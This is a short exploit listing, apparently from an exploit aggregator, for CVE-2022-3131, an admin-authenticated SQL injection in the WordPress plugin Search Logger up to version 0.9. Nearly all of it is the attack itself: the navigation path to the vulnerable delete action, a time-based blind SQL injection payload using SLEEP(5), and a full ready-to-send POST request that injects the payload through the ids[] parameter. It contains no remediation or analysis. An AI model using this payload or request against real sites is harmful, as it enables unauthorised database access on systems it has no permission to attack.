Exploit for Search Logger <= 0.9 - Admin+ SQLi CVE-2022-3131

Name: Exploit for Search Logger <= 0.9 - Admin+ SQLi CVE-2022-3131
Rating: 5 (201 reviews)

2022-09-20 | CVSS 0.7

## https://sploitus.com/exploit?id=WPEX-ID:B6C62E53-AE49-4FE0-AED9-0C493FC4442D
-------------------------------------------------
Go to Search Logger > Logs > Select > Delete
-------------------------------------------------

-------------------------------------------------
Payload : 1 AND (SELECT 7785 FROM (SELECT(SLEEP(5)))mkXB)
-------------------------------------------------

-------------------------------------------------
POST /wp-admin/tools.php?page=search-logger HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: /wp-admin/tools.php?page=search-logger
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

page=search-logger&s=&_wpnonce=c23125ecc5&_wp_http_referer=%2Fwp-admin%2Ftools.php%3Fpage%3Dsearch-logger&action=delete&paged=1&ids%5B%5D=1+AND+(SELECT+7785+FROM+(SELECT(SLEEP(5)))mkXB)&action2=delete